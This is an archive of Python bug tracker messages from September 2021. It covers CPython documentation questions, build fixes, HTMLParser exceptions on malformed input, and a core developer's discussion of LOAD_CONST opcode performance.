Subject: [issue45154] Enumerate() function or class?
Message-ID: <1631198198.04.0.262463411165.issue45154@roundup.psfhosted.org>


New submission from Sanmitha :

I was learning about enumerate(). While learning, when I used,

>>>help(enumerate)

Help on class enumerate in module builtins:

class enumerate(object)
| enumerate(iterable, start=0)
|
| Return an enumerate object.
|
| iterable
| an object supporting iteration
|
| The enumerate object yields pairs containing a count (from start, which
| defaults to zero) and a value yielded by the iterable argument.
|
| enumerate is useful for obtaining an indexed list:
| (0, seq[0]), (1, seq[1]), (2, seq[2]), ?
|
| Methods defined here:
|
| getattribute(self, name, /)

| Return getattr(self, name).
|
| iter(self, /)
| Implement iter(self).
|
| next(self, /)
| Implement next(self).
|
| reduce(?)
| Return state information for pickling.

Static methods defined here:
new(*args, **kwargs) from builtins.type
Create and return a new object. See help(type) for accurate signature.

Even when I gave as,

>>>enumerate


But, when I checked the documentation in the official website of python, www.python.org for enumerate()

Here : https://docs.python.org/3/library/functions.html#enumerate

It showed that enumerate() is a function which violated the information shown by help().

I couldn?t get whether enumerate() is a class or a function. Anyone please help me out of this please?

By the way, I had python 3.8.3. I even checked in python 3.6 and 3.7.10.

----------
assignee: docs at python
components: Documentation
messages: 401487
nosy: Sanmitha Sadhishkumar, docs at python
priority: normal
severity: normal
status: open
title: Enumerate() function or class?
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 10:56:22 2021
From: report at bugs.python.org (D.Lintin)
Date: Thu, 09 Sep 2021 14:56:22 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631199382.86.0.389755171566.issue45147@roundup.psfhosted.org>


D.Lintin  added the comment:

1 failing checks.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 10:57:08 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Thu, 09 Sep 2021 14:57:08 +0000
Subject: [issue36424] Pickle fails on frozen dataclass that has slots
In-Reply-To: <1553527088.82.0.636469633332.issue36424@roundup.psfhosted.org>
Message-ID: <1631199428.42.0.209839515695.issue36424@roundup.psfhosted.org>


Andrei Kulakov  added the comment:

This actually can't be closed yet as the fix was not backported to 3.9

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 11:27:03 2021
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 09 Sep 2021 15:27:03 +0000
Subject: [issue45139] Docs: add source directive for minor translation
 simplification
In-Reply-To: <1631121467.16.0.546303933319.issue45139@roundup.psfhosted.org>
Message-ID: <1631201223.75.0.116063894706.issue45139@roundup.psfhosted.org>


Zachary Ware  added the comment:

Note that this is suggesting to introduce a `.. source` directive, not adjust the existing `:source:` role.

There's nothing preventing the use of the existing pattern in special cases, while using the new directive in the common cases.  I don't have context for how much effort this would actually save translators (perhaps we could get representatives from various languages/workflows could chime in?) so it might not be worth it on other grounds, but I don't think this should be shot down just for "but sometimes" :)

----------
nosy: +zach.ware
title: Docs: More surrounding text into the "source" directive -> Docs: add source directive for minor translation simplification
type:  -> enhancement

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:03:48 2021
From: report at bugs.python.org (miss-islington)
Date: Thu, 09 Sep 2021 16:03:48 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631203428.32.0.962784152389.issue45147@roundup.psfhosted.org>


Change by miss-islington :


----------
keywords: +patch
nosy: +miss-islington
nosy_count: 8.0 -> 9.0
pull_requests: +26679
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28259

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:10:33 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 09 Sep 2021 16:10:33 +0000
Subject: [issue45153] Except multiple types of exceptions with OR keyword is
 not working
In-Reply-To: <1631198150.11.0.821790716144.issue45153@roundup.psfhosted.org>
Message-ID: <1631203833.17.0.903177332234.issue45153@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Expression `A or B` gets you A if A is true.

If you want to catch several types of exception by one "except", use except with a tuple:

    except (ConnectionResetError, ConnectionAbortedError):

----------
nosy: +serhiy.storchaka
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:11:53 2021
From: report at bugs.python.org (E. Paine)
Date: Thu, 09 Sep 2021 16:11:53 +0000
Subject: [issue45103] IDLE: make configdialog font page survive font failures
In-Reply-To: <1630790219.84.0.830457804554.issue45103@roundup.psfhosted.org>
Message-ID: <1631203913.59.0.561525061712.issue45103@roundup.psfhosted.org>


E. Paine  added the comment:

It turns out the problem is a combination of the font and IDLE preview content. With the phaistos font installed, inserting the content of the "Devanagari, Tamil" or "East Asian" sections into a Tk text widget causes it to freeze. For example, the following will fail:

pack [text .t]
.t insert end \u0966

The reason for this still confuses me, since Tk would never default (I believe) to trying to use phaistos font (and therefore it's installation should not affect this). I will report it to the Tk team.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:17:16 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 16:17:16 +0000
Subject: [issue45139] Docs: add source directive for minor translation
 simplification
In-Reply-To: <1631121467.16.0.546303933319.issue45139@roundup.psfhosted.org>
Message-ID: <1631204236.99.0.386108249992.issue45139@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

New directives introduce complexity. They should be saved for pervasive and non-trivial problems.

The motivation for this change is dubious (that a translator can't easily handle a simple fixed string pattern).  The OP grants that this is a "only small burden".   In general, translation is a large, difficult and time consuming task.  Adding this directive would not change that noticeably (changing the source text is among the easiest and most trivial subtasks).  It may even make translators job more difficult because it entails knowing how to edit the directive as opposed to use basic knowledge to make a simple in-line text substitution.

OTOH, there are costs.  Every new directive takes time to learn and remember.  This is especially problematic when the directives are specific to one project; otherwise, the documentation skills don't translate across projects.  Generally, it is best to use dirt simple, standard Sphinx markup, especially for trivial tasks like this one.

I do a lot of documentation work and am constantly wrestling will sphinx, many times unsuccessfully. Even among core developers, very few people already know all the directives that we already have.  Making the list longer doesn't make our lives easier unless a directive is solves a challenging problem and is commonly used.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:31:34 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 16:31:34 +0000
Subject: [issue45154] Enumerate() function or class?
In-Reply-To: <1631198198.04.0.262463411165.issue45154@roundup.psfhosted.org>
Message-ID: <1631205094.18.0.81565394215.issue45154@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

In pure python, generators are implemented as functions.  In CPython, the only way to implement them is as a class.  From a user's point of view, enumerate(), map(), zip(), and filter() are used like a functions (they doesn't have non-dunder methods).  Accordingly, they don't have class markup in the docs even though technically they are classes.  The docs are mostly consistent in this regard and have opted for the presentation that tends to be the most helpful to users.

----------
assignee: docs at python -> rhettinger
nosy: +rhettinger
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:35:53 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Thu, 09 Sep 2021 16:35:53 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631205353.05.0.549862460188.issue44219@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 23c46778d65870784cb6d4de30f43aac62d71e73 by Miss Islington (bot) in branch '3.10':
bpo-44219: Release the GIL during isatty syscalls (GH-28250) (GH-28255)
https://github.com/python/cpython/commit/23c46778d65870784cb6d4de30f43aac62d71e73


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:37:37 2021
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 09 Sep 2021 16:37:37 +0000
Subject: [issue45067] Failed to build _curses on CentOS 7
In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org>
Message-ID: <1631205457.9.0.914904204173.issue45067@roundup.psfhosted.org>


Change by Senthil Kumaran :


----------
keywords: +patch
pull_requests: +26680
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28260

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:38:36 2021
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 09 Sep 2021 16:38:36 +0000
Subject: [issue45067] Failed to build _curses on CentOS 7
In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org>
Message-ID: <1631205516.35.0.867759447225.issue45067@roundup.psfhosted.org>


Senthil Kumaran  added the comment:

I have created a pull request - https://github.com/python/cpython/pull/28260

Please review this.

----------
assignee:  -> orsenthil
versions: +Python 3.10, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:42:10 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 16:42:10 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631205730.38.0.38811567476.issue44219@roundup.psfhosted.org>


STINNER Victor  added the comment:

> In my case, the file in question is implemented as a FUSE mount which is served by the same process (different thread of course). Thus holding the GIL at this point causes a rather interesting deadlock.

Since the change fixes a deadlock, I agree to backport it to 3.9 and 3.10.

Thanks for the fix!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:44:27 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Thu, 09 Sep 2021 16:44:27 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631205867.41.0.77312410165.issue44219@roundup.psfhosted.org>


Change by ?ukasz Langa :


----------
pull_requests: +26681
pull_request: https://github.com/python/cpython/pull/28261

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 12:54:25 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Thu, 09 Sep 2021 16:54:25 +0000
Subject: [issue45083] Need to use the exception class qualname when rendering
 exception (in C code)
In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org>
Message-ID: <1631206465.86.0.544781056177.issue45083@roundup.psfhosted.org>


?ukasz Langa  added the comment:

I agree with Serhiy, I consider this a bugfix. Let's raise it to "release blocker" to let Pablo decide if this should wait for 3.10.1 or get bumped up to 3.10.0.

----------
nosy: +pablogsal
priority: normal -> release blocker

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 13:13:07 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 09 Sep 2021 17:13:07 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631207587.86.0.823181037809.issue45147@roundup.psfhosted.org>


Eric V. Smith  added the comment:

Changes merged to master and 3.10. Thanks, everyone!

@pablogsal: You can merge this to 3.10.0 if you see fit, but I'm going to close this issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 13:22:40 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 17:22:40 +0000
Subject: [issue44344] Documentation for pow() should include the possibility
 of complex numbers as a return type
In-Reply-To: <1623125616.73.0.892905550694.issue44344@roundup.psfhosted.org>
Message-ID: <1631208160.91.0.39538355155.issue44344@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

The pow() docs could use substantial updating.  All of the logic for pow() is implemented in base.__pow__(exp, [mod]).  Technically, it isn't restricted to numeric types, that is just a norm.  The relationship between "pow(a,b)" and "a**b" is that both make the same call, a.__pow__(b).  The discussion of coercion rules dates back to Python 2 where used to have a coerce() builtin.  Now, the cross-type logic is buried in either in type(a).__pow__ or in type(b).__rpow__.  The equivalence of pow(a, b, c) to a more efficient form of "a ** b % c" is a norm but not a requirement and is only supported by ints or third-party types.

My suggestions

1st paragraphs:  Stay at a high level, covering only the most common use case and simple understanding of how most people use pow():

   Return *base* to the power *exp* giving the same result
   as ``base**exp``.

   If *mod* is present and all the arguments are integers,
   return *base* to the power *exp*, modulo *mod*.  This
   gives the same result as ``base ** exp % mod`` but is
   computed much more efficiently.

2nd paragraph:  Be precise about what pow() actually does, differentiating the typical case from what is actually required:

   The :func:`pow` function calls the base's meth:`__pow__` method
   falling back to the exp's meth:`__rpow__` if needed.  The logic
   and semantics of those methods varies depending on the type.
   Typically, the arguments have numeric types but this is not required.
   For types that support the three-argument form, the usual semantics
   are that ``pow(b, e, m)`` is equivalent to ``a ** b % c`` but
   this is not required.

3rd paragraph: Cover behaviors common to int, float, and complex.

4th paragraph and later:  Cover type specific behaviors (i.e. only int supports the three argument form and the other arguments must be ints as well).

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 13:24:26 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 17:24:26 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631208266.48.0.637442652196.issue45152@roundup.psfhosted.org>


Change by Irit Katriel :


----------
pull_requests: +26682
pull_request: https://github.com/python/cpython/pull/28262

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 13:34:07 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 17:34:07 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631208847.82.0.0475275704512.issue45152@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

I didn't know this was in the works.  Can you point me to the relevant discussion about why LOAD_CONST would be split?

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 13:36:43 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 17:36:43 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631209003.45.0.741887296627.issue45152@roundup.psfhosted.org>


Irit Katriel  added the comment:

It's related to this work: https://github.com/faster-cpython/ideas/issues/65

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 13:48:46 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 17:48:46 +0000
Subject: [issue39955] argparse print_help breaks when help is blank space
In-Reply-To: <1584105778.75.0.565516989827.issue39955@roundup.psfhosted.org>
Message-ID: <1631209726.57.0.815400431082.issue39955@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> In argparse empty choices cannot be printed in the help
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 13:53:38 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 17:53:38 +0000
Subject: [issue36463] python37.dll crashing 0xc000041d
In-Reply-To: <1553801566.37.0.489496504409.issue36463@roundup.psfhosted.org>
Message-ID: <1631210018.76.0.918446072475.issue36463@roundup.psfhosted.org>


Irit Katriel  added the comment:

Closing as there isn't enough information here for us to do anything about this.  Also, Python 3.7 is no longer in maintenance. 


If you are still having this problem with a current version (>= 3.9) please create a new issue with information on how we can reproduce the problem.

----------
nosy: +iritkatriel
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 13:56:39 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 17:56:39 +0000
Subject: [issue45083] Need to use the exception class qualname when rendering
 exception (in C code)
In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org>
Message-ID: <1631210199.51.0.115413580212.issue45083@roundup.psfhosted.org>


STINNER Victor  added the comment:

If the change is considered as a bugfix, it can wait for the next 3.9.x and 3.10.x release.

If it's considered as a feature (which is backward incompatible), it should only land in 3.10 if it's in 3.10.0, but be reverted in the 3.9 branch.

Honestly, I don't care about which option is taken, I'm just worried about the consistency of branches.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 14:00:10 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 18:00:10 +0000
Subject: [issue38596] simple example give a Linux core dumped with atk-bridge
In-Reply-To: <1572079504.05.0.0514921170938.issue38596@roundup.psfhosted.org>
Message-ID: <1631210410.15.0.563674617646.issue38596@roundup.psfhosted.org>


Irit Katriel  added the comment:

Python 3.7 is no longer maintained. If you are still seeing crashes in a current version (>= 3.9) then please create a new issue.

However, note that a bug report is more likely to get attention if it shows a bug in python, rather than just reporting that a complicated a system built on top of python is crashing.

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 14:07:17 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 18:07:17 +0000
Subject: [issue38573] Not Implemented Error in stdLib HTMLParser
In-Reply-To: <1571902199.4.0.291984198853.issue38573@roundup.psfhosted.org>
Message-ID: <1631210837.76.0.965110957413.issue38573@roundup.psfhosted.org>


Irit Katriel  added the comment:

Changing type since this is an exception and not a crash.

I get a different error now:

>>> parser.feed(bytearray.fromhex('3c215b63612121').decode('ascii'))
Traceback (most recent call last):
  File "", line 1, in 
  File "/Users/iritkatriel/src/cpython-1/Lib/html/parser.py", line 110, in feed
    self.goahead(0)
    ^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/html/parser.py", line 178, in goahead
    k = self.parse_html_declaration(i)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/html/parser.py", line 263, in parse_html_declaration
    return self.parse_marked_section(i)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/_markupbase.py", line 154, in parse_marked_section
    raise AssertionError(
    ^^^^^^^^^^^^^^^^^^^^^
AssertionError: unknown status keyword 'ca' in marked section

----------
nosy: +iritkatriel
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 14:08:59 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 18:08:59 +0000
Subject: [issue32876] HTMLParser raises exception on some inputs
In-Reply-To: <1519069936.36.0.467229070634.issue32876@psf.upfronthosting.co.za>
Message-ID: <1631210939.98.0.159923319868.issue32876@roundup.psfhosted.org>


Irit Katriel  added the comment:

I get a different error now:

>>> import html.parser
>>> html.parser.HTMLParser().feed("", line 1, in 
  File "/Users/iritkatriel/src/cpython-1/Lib/html/parser.py", line 110, in feed
    self.goahead(0)
    ^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/html/parser.py", line 178, in goahead
    k = self.parse_html_declaration(i)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/html/parser.py", line 263, in parse_html_declaration
    return self.parse_marked_section(i)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/_markupbase.py", line 144, in parse_marked_section
    sectName, j = self._scan_name( i+3, i )
                  ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/_markupbase.py", line 390, in _scan_name
    raise AssertionError(
    ^^^^^^^^^^^^^^^^^^^^^
AssertionError: expected name token at '

_______________________________________

From report at bugs.python.org  Thu Sep  9 14:31:46 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 18:31:46 +0000
Subject: [issue24544] Race condition and crash when embedding multi-thread
 script
In-Reply-To: <1435755929.77.0.966691943035.issue24544@psf.upfronthosting.co.za>
Message-ID: <1631212306.53.0.328157862924.issue24544@roundup.psfhosted.org>


Irit Katriel  added the comment:

Python 2.7 is no longer maintained. Please create a new issue if you are having problems with this in a current version (>= 3.9).

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 14:32:19 2021
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 09 Sep 2021 18:32:19 +0000
Subject: [issue45067] Failed to build _curses on CentOS 7
In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org>
Message-ID: <1631212339.38.0.137558996379.issue45067@roundup.psfhosted.org>


Senthil Kumaran  added the comment:


New changeset 794430700defb913512f871b701a888aa730de81 by Senthil Kumaran in branch 'main':
bpo-45067 - Verify the version of ncurses for extended color support feature usage. (GH-28260)
https://github.com/python/cpython/commit/794430700defb913512f871b701a888aa730de81


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 14:32:47 2021
From: report at bugs.python.org (miss-islington)
Date: Thu, 09 Sep 2021 18:32:47 +0000
Subject: [issue45067] Failed to build _curses on CentOS 7
In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org>
Message-ID: <1631212367.87.0.592499134466.issue45067@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 3.0 -> 4.0
pull_requests: +26683
pull_request: https://github.com/python/cpython/pull/28263

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 14:40:24 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 18:40:24 +0000
Subject: [issue23249] test_win32 fails on aarch64
In-Reply-To: <1421401283.38.0.406623425658.issue23249@psf.upfronthosting.co.za>
Message-ID: <1631212824.0.0.110633455893.issue23249@roundup.psfhosted.org>


Irit Katriel  added the comment:

I believe we are on libffi 3.3 now - the code on that branch looks very different from this patch. Can we close this issue?

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 14:41:49 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 18:41:49 +0000
Subject: [issue23249] test_win32 fails on aarch64
In-Reply-To: <1421401283.38.0.406623425658.issue23249@psf.upfronthosting.co.za>
Message-ID: <1631212909.98.0.653460791029.issue23249@roundup.psfhosted.org>


Change by Irit Katriel :


----------
status: closed -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 14:51:30 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 18:51:30 +0000
Subject: [issue44841] ZipInfo crashes on filemode
In-Reply-To: <1628171985.04.0.233917766436.issue44841@roundup.psfhosted.org>
Message-ID: <1631213490.97.0.457387260514.issue44841@roundup.psfhosted.org>


Irit Katriel  added the comment:

Crash typically means segfault or the like, not an exception. 

Can you provide code to create the file "test-one-dir.zip" so that we can reproduce the issue?

----------
nosy: +iritkatriel
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 15:15:09 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 19:15:09 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631214909.77.0.433788913461.issue45152@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

Thanks for the link.  This is a worthwhile experiment.  However, the potential gains will be hard to come by.

The workload of LOAD_CONST is very small.  After paying for the usual dispatch logic overhead, all it does is an index into a struct member and an incref.  Both the co_consts table and the popular constant objects are already likely to be in the L1 data cache.  


	##DEBUG_LABEL: TARGET_LOAD_CONST
	movslq	%r15d, %rax             ## OpArg fetch, typically a zero code register rename   
	movq	-368(%rbp), %rcx        ## 8-byte Reload to access co_consts
	movq	24(%rcx,%rax,8), %rax   ## The actual indexing operation  (3 cycles)
	incq	(%rax)                  ## The incref  


A specialized opcode for a specific constant like None can 1) eliminate the oparg fetch (likely saving nothing), and 2) eliminate the two sequentially dependent memory access (this is a win):

	##DEBUG_LABEL: TARGET_LOAD_NONE
      ?  movq	__Py_NoneStruct at GOTPCREL(%rip), rax
	incq	(%rax)                  ## The incref


Any more general opcode for loading small ints would still need the oparg fetch and the incref.  To win, it would need to convert the oparg into an int more efficiently than the two movq steps.  If the small int table is in a fixed location (not per-subinterpreter), then you can save 2 cycles with the simpler address computation:

	##DEBUG_LABEL: TARGET_SMALLINT
	movslq	%r15d, %rax             ## OpArg fetch, typically a zero code register rename 
	movq	__Py_SmallInt at GOTPCREL(%rip), %rcx        ## Find an array of ints
	movq	(%rcx,%rax,8), %rax     ## Cheaper address computation takes 1 cycle
	incq	(%rax)                  ## The incref 

The 2 cycle win (intel-only) will be partially offset by the additional pressure on the L1 data cache.  Right now, the co_consts is almost certainly in cache, holding only the constants that actually get used (at a rate of 8 per cache line).  Accesses into a small_int array will push other data out of L1.

IIRC, Serhiy already experimented with a LOAD_NONE opcode and couldn't get a measurable win.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 15:20:06 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 19:20:06 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631215206.0.0.355240904204.issue45152@roundup.psfhosted.org>


Irit Katriel  added the comment:

I?m not sure we?re hoping this to be faster, just reduce the code object size and not be slower. (Smaller code object could be faster to unmarshal).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 15:31:51 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 09 Sep 2021 19:31:51 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631215911.87.0.84395499561.issue45152@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

Idea for improving unmarshalling speed:  Since reading PYCs is I/O bound, it may be worthwhile to compress them.  When the idea came up previously, Antoine suggested choosing an algorithm with the fastest possible decompression speed (iirc, it was lzma4 at the time).  This should be an easy optimization that doesn't require changing the rest of the runtime.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 15:39:15 2021
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 09 Sep 2021 19:39:15 +0000
Subject: [issue45067] Failed to build _curses on CentOS 7
In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org>
Message-ID: <1631216355.94.0.908258347236.issue45067@roundup.psfhosted.org>


Change by Senthil Kumaran :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions:  -Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 15:39:02 2021
From: report at bugs.python.org (miss-islington)
Date: Thu, 09 Sep 2021 19:39:02 +0000
Subject: [issue45067] Failed to build _curses on CentOS 7
In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org>
Message-ID: <1631216342.33.0.0804137865367.issue45067@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset b86437bb15fbaba55f9e56661598b4d5a3db86bb by Miss Islington (bot) in branch '3.10':
bpo-45067 - Verify the version of ncurses for extended color support feature usage. (GH-28260)
https://github.com/python/cpython/commit/b86437bb15fbaba55f9e56661598b4d5a3db86bb


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 16:19:46 2021
From: report at bugs.python.org (Ned Deily)
Date: Thu, 09 Sep 2021 20:19:46 +0000
Subject: [issue44492] Building a C extension on Big Sur and SDK v10.15 fails
In-Reply-To: <1624409568.36.0.590312520398.issue44492@roundup.psfhosted.org>
Message-ID: <1631218786.02.0.811055040917.issue44492@roundup.psfhosted.org>


Change by Ned Deily :


----------
assignee:  -> ned.deily

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 16:31:48 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 09 Sep 2021 20:31:48 +0000
Subject: [issue45144] Use subtests in test_peepholer
In-Reply-To: <1631146744.41.0.0401812311167.issue45144@roundup.psfhosted.org>
Message-ID: <1631219508.24.0.892015249729.issue45144@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

I am currently working on a feature which can be better in these cases that subTest(). It will allow to reduce the indentation level instead of increasing it.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

